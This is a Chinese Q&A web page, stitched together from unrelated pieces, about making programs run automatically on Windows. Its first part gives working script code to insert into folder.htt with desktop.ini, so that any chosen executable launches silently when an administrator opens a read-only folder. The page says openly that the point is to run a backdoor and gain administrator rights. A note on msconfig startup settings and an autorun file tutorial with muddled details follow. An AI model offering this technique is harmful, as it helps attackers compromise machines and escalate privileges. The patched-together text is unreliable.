问题描述:
一直以来都想问这个问题。
解析:
用DESKTOP.INI和folder.htt来自动运行程序
把c:winnt目录中的desktop.ini 和folder.htt(注意:每种不同目录下的desktop.ini和folder.htt文件都是不同的,所以一定要是winnt目录下的。)复制出来,用记事本打开folder.htt文件把下面的代码加在最前面:
<script language="javascript">
run_exe="<OBJECT ID="RUNIT" !
WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject""
run_exe+="CODEBASE="程序名.exe#version=1,1,1,1">"
run_exe+="<PARAM NAME="_Version" value="65536">"
run_exe+="</OBJECT>"
document.open()
document.clear()
document.writeln(run_exe)
document.close()
</script>
把其中的"程序名.exe"改为你想要启动的程序名称。
现在我们只要把desktop.ini、folder.htt和要启动的程序,放在同一个只读目录(记住一定要是只读目录,而且最好是管理员经常进去的)下,当管理员打开这个目录,程序就会自动得到运行。
这种方法可以用于通过启动后门程序得到管理员权限
禁用电脑的开机启动项即可,步骤如下:
1、点击电脑桌面左下角下方的开始图标,在d出的上拉菜单中,找到【运行】,并点击它。
2、会在电脑桌面上d出一个【运行窗口】,刚窗口有一个输入框,在输入框中输【msconfig】,然后点击【确定】按钮。
3、然后桌面上会出现一个【系统配置】窗口,该窗口刚开始是默认显示【常规】选项卡,将其切换到【启动】选项卡,然后在【启动项目】下方找到不需要自动启动的程序,并将其取消勾选即可。
4、最后点击全部禁用,点击确定即可,这样就不会打开就自动打开软件了。
Autorun.ini文件的最简单的编写,就是三行,如果你稍懂编程,就很容易理解她的语法。[autorun]
//表示autorun部分开始
icon=shell32.dll,13
//表示图表文件的位置
open=notation.exe
//表示自动运行文件的位置。
这样,一个最简单的autorun.ini文件就编写完成了。
实际上,autorun.ini可以编写的极为复杂并可以实现强大的自动运行的诸多功能。这样的autorun.ini文件此时就需要注册表的支持,如果您还懂一些注册表的知识,就可以很容易的理解下面所示的范例:
[autorun]icon=shell32.dll,13open=notation.exe
shell\win98=安装Windows
98shell\win98\command=win98\setup.exe
shell\ie5.5=安装IE
5.5(已安装)
shell\ie5.5\command=Ie5.5简\IE5SETUP.EXE
其中,shell表示在该位置新建一个主键(非常类似于注册表),其后的名称如上例中的win98为一个自定义的变量,该变量名应该在该shell子键中是唯一的,也就是说在下面的说明中,你就不能再用这个变量名。
"shell\win98="之后的是显示在鼠标右键菜单中的名称,这个可以你自己随心所欲的起名。
"shell\win98\command"表示在shell子键之下,再新建一个子键command,如果你经常使用注册表编辑器,你会立刻明白她的含义,那就是command之后的字符串将指定你运行的程序的实际位置,就如同注册表中的文件关联一样。
这样,一个在鼠标右键中命令的autorun.ini文件就编写完成了,你还可以增加更多的命令,并配合你的光盘或硬盘上的程序进行编写,使之完成更多的功能。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)